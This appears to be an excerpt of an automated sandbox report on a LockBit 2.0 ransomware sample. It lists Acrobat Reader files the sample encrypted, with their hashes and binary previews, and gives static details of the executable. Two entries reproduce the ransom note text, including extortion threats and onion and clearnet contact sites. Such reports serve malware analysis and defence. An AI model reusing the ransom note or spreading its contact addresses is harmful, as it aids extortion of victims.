SSDEEP:	24:yqNND+llft/yKjhhaIZc/0mvpJJRVEW/7t64qzvB7:B5+lBfeIZi0spJfVEW/5wzp7
MD5:	6659655019A0288DBF008155E71737E3
SHA1:	FFE5CAF61A41684731AFA13C3F712A7F8B909C5F
SHA-256:	CA8C2D7D904F0DD6966E10A2710B0E793EC96E445DA5366E9C7DBA19AD472808
SHA-512:	5BA97C78A41F3D5E6713D62C8EB3B4ADD09512B5679B3ED2781DEF02D010715162E6FC68BB15AA872D5665344CF982EF310DF57F8F52EA588D10DCA287A54F55
Malicious:	false
Preview:	.... -.=.R..8F..\|..D......f%S..v.?..ec.....Y.e.nhef?.....X.g..nF.[n....l.K..*....j....m....h..E{..~..j> ..p..l.............:......m..B0...L..^...pF.q.l`~iv=...........+BF.@F.=.@l}@..%.<.w..V...?...Trr.={m.Q..h%Q,...;K...82...t..d.Z...g..!.uR.lM.7. .\|f.IS....G.V]x..T........^K)r..U..S(..........j..I.U96p.x!L..:.l.O......VM.1.4..13.~.P"+..(.L..C/.)...........=.&.......ur A..R;l@`.....z.e...'.g..q....oP{....~.}...._..._1OR.=_..}.r...oS.Z^K..\.l.\|.1.w......C..J.....`."..j..i...c?...u%Z.....0.....rL.+......_....!o.K../..4:^..]4.....L....K...S..W:.[..u..P..Dj.29.Z)..$.....F._..g).<x..;.#v.....r$.J.eW..4....Z.j7...j.../...wH......e^.,.....?.H.>WH.B.....C.`..w.=]..G..2.^a...o..C....4....Q.C...Pd'nF.d..D.s^../....6.P....W...&.\|.70.N.L...&6..(...m.F_....e...6/... ..D.p.8i.{+....{.....<.`...%?.c;_M.V.=........f........ ...f.......+.h...@1...>.......1=>.....@..o.7...V.c...q..Oo.....S..U./..@..O......@=..>$...6z....q.=....T...V.sNA...h&..F

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\tr.gif.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	7.756543501574393
Encrypted:	false
SSDEEP:	24:lS2y2FCx54Z3ygFlrZX2XZt/623RCv1Ij05QuerMr0yRdqzvB7:lPyeCxaVFlBai23RhQ5QMr0xzp7
MD5:	3FE518194DDD58F2EE445CCB5938194B
SHA1:	30E077F7F88F88A11426CB3B8AA934148B19A6CC
SHA-256:	3B302125837764A14DCE44BCEBC52D37BD79F584DB6E7386F030036FF04F7E4F
SHA-512:	5CAA55B128BD5857CACB6486DBC65F918D5EF796A03557A279CE834C3697B60EAB9E825EDE1815F856045C0B516C6DB6E563FC7FB07F627568FCC39D224B0371
Malicious:	false
Preview:	.-o.h]..V.>..+...Wd0.D...V.........E..yw...:.p..T..X..3d..L...............t.g..G..6..1.....!Bv0...W.Osw..q..'......).H..$..F.~.2b.w.gS2.@bk..' ...\.Y.'..zlf..l._UB.G.Scp..28<Z.[..$...._...2hU..j.S...7.Y$.......f.`.f...0.[L...zs.w\1..#.7.. ...4Y. ..e.J.C..^.jI..h.w"..2....2]..=.C.)...L....f^.=.y) ..f6.#.....j.R..:..Uk.1=.(.(7W...u..0H...^(.G.#)L<.B..R. .....h...1^..w...L>....);b..+P.^.W.....;w...<.D.n6.2....C...F....M..2..].g..9..+.....p.>KL.A..&81.T{.....)uu..]....roj...&.]O:.a..4F...p.y..q~...G..R.],\|5.[~..Z.z.Z.DO......H..>....j..k..M7.....}%*......T....n..op..\...w.n.6..~.-..-&.....&{......#4y@.w.5.1.;n..36e.k....].j...1.$e..y.$...G7WU..........o.....c.F..\..sqy/.S>.K6.............z.._.?y.T...(.O.$.`....[.jJ.zv.............d...!$~w......y-ppF.3.N.{...&}%s...+..SD..lMSc+..o...^c..l.p`..?IJxn..T..m.2+..0..@....o.._....J..Q.6.,z.1...>.......1=>.....@..o.7...V.c...q..Oo.....S..U./..@..O......@=..>$...6z....q.=....T...V.sNA...h&..F

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\trash.gif.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	2048
Entropy (8bit):	7.888897550371317
Encrypted:	false
SSDEEP:	48:v6B7PSy/iTdtOJ3htb3cW8ZfF8xEzbAv7gDgMNcnP238kt0Mzp7:vA7Vi/sRtAW8ZfF8aoCcnk8ktH
MD5:	8EDBA17D758E6B80C61CB362890496A6
SHA1:	25FFBD6712C51B4EC183CDD7ED8AB0CBBC24F6A3
SHA-256:	A8590F3FE308C2C428954BF9E0B5855D3D59664F88299743FBAAC9DEC7208236
SHA-512:	40CAD8E70B8FDB53B750BAD084E69A1613A36767429A19E00C0BB7F3DB4D73D0ADDB15B3CD570E603B9B7BD999EF2174CFD98DE6EE71C251DC66DF60CDF3A0F0
Malicious:	false
Preview:	..\|j....].8j....7w.....V..%...l...%/..cJ..P....E..U...c.nc...ZW.c....n.+..MT.......Y...e.X...rox.c.`k.W0..].bMzA...R.......Q....HcO].?..1....2H..KE..Q>.3..\.....=eY..]Cg.h.`...A...@..y....d.%>a..........wmnGP..d.'.p.."7.9....0..Q.v....1"..}.&u.w....1.o._.....B..{$t.nK6.EHB....r63&..D.M.X.oTo/.....Y..._XVQ.z(E..U).{.p.....?eQxF\_.3..Wv.7..II..7;.2.z......\.F...!.....wXH.~btm}+...../m.s.).'.y..aF..b.M;.......C....fP.@qJ v\.8..6..@....8$h.J..D........N..m..9.K....?.......Sik\..E......w.......}.k..@T.-...C.MvJ...J#.-2/.:.N..".(]"x._...g.5....;.1..1...b.$u....?..F'\|...iniJ.z..aQK..C5.dY..$.K,..VWp..4.B....`k{....in.cjH.....2.tp..$.zUA.yk.....\.MCo.......V..n..C.k...s..,.a.:.A..9...x.T.y.QR.$H..A".(sC.4.iz\|8 .......;.{....5....KV.3.0.J.......A..K..[_.~#......=..l.\|.a.9..J.I...w...[D(...UZ.>#.....;.c.T...>B.......N....BY@....vw...ZC....@R....,.W{.d.b..F.2yQ...a?LA...'H.Z../1.?H...l.z.+..*e..f.8p>c..j...@.7 ..qM..;'SF]..f.R..8o.......6E

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\turnoffnotificationinacrobat.gif.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	7.871922229988006
Encrypted:	false
SSDEEP:	24:/ihxTZ+PPwHM4uXmnSns5tjZ4jmfh8GCCf7k9mzLROzgW1tqzvB7:/ihxTZIP5J2qs5PhEG7k+81Azp7
MD5:	CC429CDA465D28AC886E0D9189C831C3
SHA1:	33D7D8CDC239D729ED7C3743C53B34119947270C
SHA-256:	266B27B4EF2099308B9394B27D13121078C6EFDEB10EFB2A24ADCA9EDED4F28F
SHA-512:	D7D62F5A792A373F3C0D9B59F718149D16853A138A0AF54FDF50BC366DECCA9D12C53AB7D604A0AA84E8E8ECC611906E5D35000FFCBA1390EA643E17CE7C1A07
Malicious:	false
Preview:	.O...L...J\|.d."..,.(...N.....^-.~@..-.",.M.F........!8...@N.bY...E..^.Z....oE.8H+...!.~-...i.......S.P.N.....GH%..;Od.....EF..c.....^Z...b....VOb+..l.k...C...l">...9T..Su..?.r.K=..&....l&.n.OI..H...{2..\......~.$..t...........#....1...."..v.....q.I.l..uy.....-.a.I.....<.AE...b.V......Q.P.D...%sb...%`.;K..O.G...IG.n..J..B%^=...!..+2..e..9. 6.4..EC...O...{........8+..<.wCa,f2..`...:.........Y?..>F.5JM~.........^c.1.v.<....f.1...:>+.q./.....#..r?..C..3..q3..;.b.....S"'.....Kz".=S.#..D.'.sy}.nm...k\.n....7.:....\|.vodH.)..../.~....5.B.R....b.9j=.F1.....joz.."u.9#ukM.H....!Q...z..........D5R.gnl.'..oi.'j..&>.H..u........7.. z..q.Q........*fP.J...Q......O.9...}Z.~I[.I....v..3S.6nz.-9.v.Xl....oH]...94...P....).0...\|..^5+k.......Z.T.#.........>0...:...r..P.o...f+m..._..k.%E..{D\|.#.a..4.Q...".l[...!..y........ab........$6.6w......\;>..7...F%....nM6..1H.(DL.=..aq.{....Vk'...l!..A.....J...W..:...".c..hqS.\.Er@....~A.h..k.L...\.G'..

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\turnoffnotificationintray.gif.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	7.8808486844103065
Encrypted:	false
SSDEEP:	24:C/r81Xb36gCA3oQEs+fhjLP1FNa1Q5Ii37gIRJZAY/Ish74OkpaWzjfqzvB7:C/MXH7oLptP1PGQj30uJZAYgsh7JPWvs
MD5:	425EFFA8F24F512019E5CC28D4B5A0C1
SHA1:	4409B8A8BD6A72BD44F2273A378E3B872EBDC4CC
SHA-256:	9DCF31FC937B14B041FFA25A6A0853E7206D819B569EBE019183BF07A8BE52CB
SHA-512:	52473444B3126E758181F1A01D1CA7F27B8333498400DABB4739BA6230671F5E36F0789C4E0DBF8B9EF1AA41D2FD7F6428884A16812B135D43CA612C3811412B
Malicious:	false
Preview:	w....{8.Q...&.v;>5/A~.Meq3.vY...B..o..D7^.Ey.C...4..#d..T.Q<%-...Xo...t......w."2...$?.0.[.[KIm;t+.j<..S.`.I...g........FG8...uoJ]...e......B.-S.S.n.:81..>..d..r.W..X./.E;........[7.4..gv;r...\..$..t].y......K@&...y.....a........G.Y.......Q...[...a'./N.b...\!.w....mBJ.#.x...Y....\|.\|..3M.......T....?9Ec.w...T.Qk....uX.f....Fe.M...=T..{.H.xC..T.N.m.H..6"f.../....$;..j.o.J..0.U3c.V...8.P.......\|.)..8...,..#.+..#.....H..t.]...$...qlZ/..,..q....If...a{y.<......!c.`K.=(^c?...`)PV.[#.Ed0....iZ...1sT.E.....6h<Z>.C'...]8?W.....o.y..Z..mF..4...4q.@..a2.n.....D.....".e....C.;.FV...`;x.'.......S\.y..3p@...d.....L....`.9..j'#....(+rG.9..'.ZP>....F...I........7.....,....)......?..nA7.+.V.....X%.@^)....7.+.....W.ur.%W.'..]..;.....f.....8.5...l....Yd..q.......4..$...P...y.Ll.::..:n..)!2`,.n..a.3.c.x...^'u.....$.G!.i..@.U8:A.`.R.O..?..87......S...2.Ln4W.).^-,.......p.:....6...z...L.j~........8G...#nmx7T3x....%{..5...v.,G.o....Q.U.!...8...)..3q..AuG....R...~%..

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\turnonnotificationinacrobat.gif.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	7.8553002673952115
Encrypted:	false
SSDEEP:	24:c/kJpeQtoBBPUP1dWYOg8cpG7BeFDu9VyzoGYxSuZu+XnnbrGsEoLWGdEaeDvtsE:etZBBPknWvqw+qqle9Xnesd6GGPDFZzV
MD5:	685827CFBD40950CE943C37D55967D2A
SHA1:	D133D9E9A80AB37FC203235ED3B1E3BAECC8DC05
SHA-256:	57F28C297FD25A86450E1649E3F2B63046EA68FDDDE1FD298B5C3FF3ED06E45F
SHA-512:	FEFFABB150337A10F14C0E53A3758316B5410B113AD507C91BD48CC62B097FDC75BA8E5F7A4FE554063645E9CFFDE8E0C8284B251F08B7A34A379F3DA3FD8BF7
Malicious:	false
Preview:	V.!.%R'.....0......n!.?R.yx^.......:.c.o........R{B.......K.2.<.{.$.h...:-....x'.).{..@m8.>...b..s.=D.....Hp.....5...r.O...j..."TFMo.?X .N.0...aH.E/.=.}L..+X.r7y.h.c^.e...)+.\|....9.}..Z..\|.yr.B..R....'....}..N....{..e....M9yec..).cT...P..pQ...od.klOy.>R......U..A.....z.....N........7...~3.v.2..}..I...e.{.J:+.F...6...3...G..{.X&.. o@.P.ZT}..+.+lL....U....V^.^..aJ.;....bod.%.E~._~.Gb6.AH9.0....p{d..q...i..z..o[p.]..4.....r......[.}.K..QR.1t.....x(!{..Z=.-J[..Mc....v.)...H....o.q..3..N4Ip.p...L..(...>.U/.......y6~.....%w.r.6.~.......v..t3.hD.yr..,f.3.Uf..G..P..&.Ii.....<6gLV........(%.j...B.q.~.).J.g.3W5;...HU..GK.+r....:'..\|.........W{.#p...e.hX...Q....D.....b........b.7gM>.4..y.p.E..[...3..,kY.q.G.&.-.....}..'..CM.e..O......P.Us....]0(..b.....+Y...'. \*^b..VE..)....2.5...CX....T..n.MS Z.....yy.==..]x..&..V....Y.5..eZ.......C.98...Z..@..n$.M...^#...agk...U?TD.J..."....b{...}h=.8p.<tL......:.'....mK~...v@..cv.......].._.]..w.w..7._..L..3...

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\turnonnotificationintray.gif.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	Dyalog APL DFS component file 64-bit level 2 journaled checksummed version -93.113
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	7.864778913506994
Encrypted:	false
SSDEEP:	24:F5d9WytmyrptYmcjpjUDxn+erLpqqEnPB59Gmd2qUUwugQ2h7MocTJqo5B4qzvB7:fd9m4xcjpjWp9wXQms3UwDdMoc155DzV
MD5:	97F078D46E42C8628B95814CF490638C
SHA1:	A9CCFBB85F5A32198C7922B346B88D3DEA9254F6
SHA-256:	3A2DF188F4AC9CD80E1BD3B55CA591FD7A61C0E7BA82D7E304455735E9F7B268
SHA-512:	298CA1FAD9712E6325819382C7282045A46ECD0C8D848A24621DF3D840E1D8EAEEDF0FEF95448CD400561263B6ABB146E18810739CE534E7D28725B93B7B8EDD
Malicious:	false
Preview:	...q.....+..7.Va...9c.J.y..U%W7.3..^.I..2."v;....>.Y.P-.<.$.`.3..H..+..DO!..U ...6>..-~o.r?`.?..-NC3..2.;.....'..[......MK...O..2..'...._...........a.ew.....mT..`.f..6./7.\M.9:.<.....w.T..V,.v.-V;:J.h2r..S..e.U..A.3.OcUp.5W.5D..Al....N..p....A...u@.B...l(x5a.p~.gE......^.._6......V.3`5..OC.).9c_...,...^%7.........}LN.#...&./..R..6..m..].0.Q.....o.L...M3.m..<........^:.Bc6.P....-..j.^.a.F..._Q."^L#0........;9...I......y...V.2.4...H..'..}=...H.u..G.....P..8.2..u..Y..\|.s.#Y..m.jb..QJ....>..~...!).N."UI....v1.....c9.LK5W.i.:....I..T..B.o.F......pmq......\#....h.g......l.w(...n..>....G..&.......H..r.....s..=../...JUo.h/..E\+.......;.H.....#.=+0..#../.w.....16.BD..].&7W.._..VN....}<......Y.(D.....(...)7....M..Ze.4.&.U~c.........j;.....q...vl................A#...........n.P..<5.....U.B.3..Z..<a..bIN......D.......@...4.....Y@SaW.)... .Kqjg..zHC.S.P........s....6....m....y..Os..Q.A..lC...K...y...!q.....&jSO\|.tu.5Q.v.Ce

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\warning.gif.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	7.787011899437921
Encrypted:	false
SSDEEP:	24:Jyz54HBX3h0mPxVhRi/IKfYWf6zTCxoDfTMdP8frX1tqzvB7:U54HByOzrUaTCxIcwAzp7
MD5:	5AE0371A35A3370967DF2C1B8582CB7C
SHA1:	9F733C1BE2AE2778722619DCC227F868623AB656
SHA-256:	7DD7690C5595BDC2F6CD39A4F936C70B88A324420A802986DC38A2A05E8D82F0
SHA-512:	2EF13495065270FFD2732E162736F7AE1305318D4DC671CB4C63D8DC8E3A2441D63BF043052D7862783245BB14BCFA6D29DCF7C0E8E921C6E106B735630A21EC
Malicious:	false
Preview:	..Z..^.m./LIoh;.S.."R..xe#1..i..........t.k..+FE.....Q...v.,.I&.L..`Eg..W..v..B...P.>L.D..\|.^..u..X...._.:.].....ef.XC.)...O.2.B..3W%......;{..aE...&....^7..ze.rq..Vhn..X.""#...E.t...%XE#)..q.e0..0....b...JpU.s...H.fa._..I.O..J.#.6...%.:F..S3.p..L.J.ov.X...)W..O%[..a...G..0.....7....d,.Ln....H..N.........\4...V..U.@=I(\.r.X.BU....s.6..y..p...#..............A.Rq."......@.....;T..U.B.7y.i[.....-~f._+...^T../...#<.9..........bQV0.#..Fva..nRp"L..\..'.u.....P.4....C..y.....;.&`?...i..rn..h..3r.2...j.ic...~.._..#Jl..V".......i.y.,..:...r......3.......0... M.u.i......Y...G..o...9..=.@..8../..Ha.....[.l..Y.#t.K......e.BG#...D3E....i.C-.y?q...../.2.....G...N.+..S%.76..t....3.~.G>&.....D..O_.. ...8....H.4g...4..fj>..i...O! .)..B...[7:...'..L.'-..[p.?8l..E.a\|F).....F.KYf....?......$b..RZ..$VF.G.%...?d...........J.3\|0..+.$J.......].s....hax..[:@.1...>.......1=>.....@..o.7...V.c...q..Oo.....S..U./..@..O......@=..>$...6z....q.=....T...V.sNA...h&..F

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\UIThemes\Restore-My-Files.txt

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	512
Entropy (8bit):	5.223574358919126
Encrypted:	false
SSDEEP:	12:NRAy9+MLXw/wmkRh6f5l6gAQLwYXucnsLc0w9g/hR4TAcko/WYeFTYhtn:NRJIMLBmkqBl6gAlY59yhR4TnkqWYj
MD5:	24EC776DA40933239E1287D384D944CA
SHA1:	7BDB7A4282AA07E220364048C6FB2A0A2C78BA24
SHA-256:	ACB015A021DB1A0F390467C6AE3C3CA794B9E1EA08088D306096D117FE58E4D7
SHA-512:	4B0AAE66559907FB8C2C7C01DD62ED9C51D98F353F48D2F03ABE8E778765EBB2466F5A3E7120DA51006AC8A9D2B4994EFB9069286072C3F6BE7614A007BBC298
Malicious:	false
Preview:	LockBit 2.0 Ransomware....Your data are stolen and encrypted..The data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom..You can contact us and decrypt one file for free on these TOR sites..http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion..http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion..OR..https://decoding.at....Decryption ID: 8E5BB08F19AA7B0A32CC92B22E043ED8

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\Restore-My-Files.txt

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	512
Entropy (8bit):	5.223574358919126
Encrypted:	false
SSDEEP:	12:NRAy9+MLXw/wmkRh6f5l6gAQLwYXucnsLc0w9g/hR4TAcko/WYeFTYhtn:NRJIMLBmkqBl6gAlY59yhR4TnkqWYj
MD5:	24EC776DA40933239E1287D384D944CA
SHA1:	7BDB7A4282AA07E220364048C6FB2A0A2C78BA24
SHA-256:	ACB015A021DB1A0F390467C6AE3C3CA794B9E1EA08088D306096D117FE58E4D7
SHA-512:	4B0AAE66559907FB8C2C7C01DD62ED9C51D98F353F48D2F03ABE8E778765EBB2466F5A3E7120DA51006AC8A9D2B4994EFB9069286072C3F6BE7614A007BBC298
Malicious:	false
Preview:	LockBit 2.0 Ransomware....Your data are stolen and encrypted..The data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom..You can contact us and decrypt one file for free on these TOR sites..http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion..http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion..OR..https://decoding.at....Decryption ID: 8E5BB08F19AA7B0A32CC92B22E043ED8

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_sendforcomments_18.svg.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	7.859999574820223
Encrypted:	false
SSDEEP:	24:XgVpGXsb0OmY8ZtqwA0j7VvBHEgD+fstHwFK40DQ8TStKUx4AOcbbpBD3bbxJKqR:XcoXsYRftNVBH36fsqwjQQS8UxvXHpPL
MD5:	E7EAE6BEEF558A1BACB8FF13F69CE208
SHA1:	419908CC0CDE072C28588B68CAE5E72833AF1720
SHA-256:	A8AA8983E22BED329298F9CDC42F670D320353403B43251CEE98A7E19C116C9A
SHA-512:	3B3B35C4982B4C9AA94E6A63EA10AC4288F6570F530F67E0566E160C81193DF6FE4742AB23DB68C33DDF35D6AA53D485D678B049418E5309DE3182F2712F4183
Malicious:	false
Preview:	...].Q...}B....s.t...._..J.w...^....f.N.!...yK......Op.......iq..0.....4'.z)...0...........bH+Jr.[@.8aXBa...>Q..3F.e.w...D..8.ln.....\|...._.&..97..7..I........q.....:..N.zM..28....^..@..;do..UKG.G.r#j.....q..4x...d.?..N.b?....RH..I...S..@Wpl.a...3..&...]..F.9..:W...v...n."3...);.5'.D...K..E.yg.%..K..}.1.N.T.%...Y...n.>...c..Y..O.....sktq....w.....s...(...U.8....7(....R'......o..u.0.\|.....\|...`..~.XF.........%...%.L6xAI.._..B. .."R....a.....S..;......^.c\|..9....\>.)..^.7_...P...Y5(..I:7)...R...CL............:... .....^.0..7.;..}.b.."^..._M.....&.rV..............9....1.f..f.k .........}R.'z_..0%Ku..V....i..M.)l_xY.N:...zzV.v..9N.x&-H.q..4..=..O..T`+.q.7.......&.....m...(...Xz%a..+;.=1R?`.Iw.v...C.._UJ2..i..S4..../.E.[0..[...;.a....\.....a.-......R*..8.....~.q...h....U.@.j.=8.t.q.D......1#.x.uA..r.....H..5.1..-N..~.1.0..UMrSP...5...@o<(.k%....v.`...5..bR5X.9x.]Fn.O..3>!....x..e.8.{G..v...2...G......5....ek.%.q_6..a.B.4s...W..:7

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_sendforsignature_18.svg.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	3072
Entropy (8bit):	7.935086460781592
Encrypted:	false
SSDEEP:	48:GjLah0XHTDwA5W1OytobCOHbTvnJR0pe9bZALn7psYCRjn25jxMJus9pSslaNzp7:VhGzDwAogTCgTjqubcsVjnWaz987
MD5:	7BE862FD250674D9466BE085605C0BE9
SHA1:	2D4A94DE27C0A621771F20A1595172F67C7EB22D
SHA-256:	3BC7255A0C46649464DD6D961549885ECC398F0930EC2E76CD9A4BAE6C01BE1F
SHA-512:	ABF45FCA6DAAF232A351F74BB79EDA5D4984F995FEE6000184B274286C62F7070E2042F3B280F2038A98B96BA577ED46AF4BEE5C0FA520ED9B136C31EED7660C
Malicious:	false
Preview:	.Y.i...r.1.....Xx.2..B2j.......(F.,...:c`@.l.......a,.x.8.ks...$(..1.Z..K..........<f..\..v..6Hz. ~.........!Q..).1;J........O#........d.U.2<.igv.22;.j.c........#.^W....z.>-(...WPd.</.-...I....f..I......9.]L...J.3@...Qp..F..5L;t21.A/r[....R.......2.... ...$f....&{...0>......kd-e..,.G.,...(.....F'M.{....y..Y.D...y.Z..{.Jf.3D....@.......c.g.~......a>.,L.L.J...j.f.V\eW#s. .Q.n.OI.....I7.D.'p&]....@..@.C:....3...iXD.`=\;............n"......1.......N.+..shsZ./:..m..;.6....a...........p.L<c\|.(.........bU..-n.A..\|...4.o5..bd.....S.t.....@.dw..w......<>.>.V..<..A..U.q....!.c..-.aG#~a.&w.4QB...N4..gEzxcSC.*...$. ...Q..:.B...7l.#Nl.}<....m0..O.....H.....-&.tj....{.w..........0...2....r....D..H...h7..Tn..#x..h......N....X..{.iu..$...:..RK+......1......o...].D(..k.U....z..QdAM.."..N..j.L.2}M..)Z..,..8.f^.....3z.......`.Z.n........+_;..D.A.D..DV..BPrl.:2"...J..:....8..".E....4..z..........{Ae..R.G.-`.HU..t...pr..E>3..XH....h./U..#m...Zr.i10

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_share_18.svg.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	data
Category:	dropped
Size (bytes):	2048
Entropy (8bit):	7.921476601387756
Encrypted:	false
SSDEEP:	48:v50g4tQd6QZvWqc9AuQF5bX0p3iQXtSIsoQSqrczp7:v50g4+k65bs3T9oEqu
MD5:	10D9ED0C4B9CA07B03B81CCBEA8A5E97
SHA1:	E021FDFD08113071F6B3F16D4BE3B0341C47769A
SHA-256:	58C0C437A1C52E0F6F10AC0939E7657A401DAE45D932522F51604969526FEA77
SHA-512:	06D37B35D8C658340A68B8295DE9BE649D38F0F2D2C0CDD949F58198FCEBE2619FCF69F43B6F2F8FC3F6C5C67721135C59E084A47A6D74A4F10BB480AA76B4E1
Malicious:	false
Preview:	..`.......:....'..vI.v..\.J,../.n1z...Pv7n.`z.$...!..~._.....8s....xA...Qq.. ....!.....Y.....;M...xy......^.....P..n..l.X..4.t...t.qt.e<.:..........LI3;./Z..77..oM.).q..I^..].5.Yz..;aR......v.9QP...[.%.].....O..q.U..YwS..G.FM..n.]\(?3.3....I.p<.t.?....e3.a.'I...u..aC.+...u...q.o&..7..5..Z.;T .-..utX..4D..Pl..,.d.~K^..H..E........;..+.K....q..N....'.nXKcIO$N.t.O..........C.%~.l).X...,..f...C.}L43VI.E....1.....%...V.. .. .....t...i....t..S.........9..N9...E:.E.d"Wc....9Hk.Kr...s&y...i.zv..bSXe...7.....)>.a..2!..2a/........'....0.....8.Z.]t.B.f.{6.T..k0..Xr.[..W..ehWiP...'.mAs\|......L...5C....H..1..~.Qo..o....]..)..;....>....."....x.Ijd...{.<..j...3....F..v..+J]y.......2.<....i.s.!..q..v..`%..M.... .....$i<#...L.?-.z@.....E......h..Pe`.W.......L.5.4AU..l.H`..y.<..V.....H.<..K......^1m.X..Q...^.._..,....."...n...)......`(...6Xv....r.....!..jf.. .w..1..........k..P%..eZ.....f....b...../0..!.'.N..I'.c...v.f{........<H ..._j..[..@6$........+d

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_signed_out.svg.lockbit

Download File

Process:	C:\Users\user\Desktop\Pna3t7DeL3.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	16896
Entropy (8bit):	5.747235762190721
Encrypted:	false
SSDEEP:	192:EXYfCxI/0O/1eBsJR5Ed6yT8L/UTmALtUOeKA6/HaN2CdiUqzNMknBV5KnXHftFm:EXYqxG0M1eOJRJLstUqPGiU65Qf8uRK
MD5:	BAB9DC130D2635705D25CA479E70075C
SHA1:	2231283BDC7D637941F48E7D3A2BED97188027F1
SHA-256:	4A2BDFDBB3BABD26A5C7D6FF5E49E8281C471EB7E76302AEEBD6559DB3C10803
SHA-512:	B889E2AC0C338345CE667ED2D4E791A92B9C0292ABE4FEAE3DDA6D8BC74BF52D24F1CA61B484B904A2B85201509DD7E232A74317F41E9930C8556A979C38D9C4
Malicious:	false
Preview:	.pJ...I9...i..K1,.8...r.....0...'..?E.Od.".;.....?hNYt.q.-..<7..4.....g@.Z..3.....H.....']...^L.2.....V.1.9!z;.\|Q.X.,]V......U.....d....1.~.B.^........H....S...zQ%.4...UA...........(!.N......GI..]5].$.....Wg.....H.b..X........fh......w...m..t...`....9.9~.....7..o.oi....gL!k.W.~p...rI-YEL_..i..dnZ....Ip..X....F..F..#Z.>E..4x.O...s..nw....{n.....)....o.O_.....6./Nth.\Q.cY!W..>.....vS.e.......dY.%..`2lhT.z.M.+,........A6(BvlV`.t....[.5(..9..7Z{.....*....r..Xa...r.^...M..h;....MW.C?...Y.H....2Zjz.....>.BZt]r...m}........Tr..'e48......=..$.z...<..x^:....p....y..P.!..`..hQ#G\.S..g.Z.d...(..:L...X.:}%..d.Q.N.3.B'.Rz[.9H...7..WV.WN..&...`...2..7.T.#..J.+....@..=M.....7o.!?#....}h.w6..n{.tI.%U..3~.F.Ke.R..}<.....E.._-....._.tD.E.R..M.q.t.D..Nr.r}....Iq\9DQ..x.-n.[Id.X."FM-\|@+...g...lF...]...(...=?.c;..F.g..$.m.F%.2..Z..J.\|..5R.P...qg.J..4CI...N.B=..m't~...G.P.V.$v{d.S)v.W.k.TD@.:......7.o..-5=..&..i,./.l...U.}.....f.M[(..A....m.I....... ....R

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.689583854685715
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Pna3t7DeL3.exe
File size:	567808
MD5:	523190c8adb9f67f54bd299c9175d4e8
SHA1:	1a736dfd8806f898e529b0f713b4e7bc44f75742
SHA256:	111093146452b46071976d594172bc81d66427651f5f4cc244ddad9b3eae5c7d
SHA512:	5d687fc67221694e4227b5f7b11ab0caa6be64d647893ce25901a0282cc1040792691a7a8390b63581b33e52d2d466c97b9b0ceae1114e54a5a253d07a1c6fc6
SSDEEP:	12288:9SUCXw8ZeNj+qIpyt9xPRQ+KQmIStn3iHfVt+K:9SUDNOyxPq+PSt3i0K
TLSH:	BDC402123181E873D20583344D56DAF83AFAB7315E616BA7376C264F0F74AA19237F29
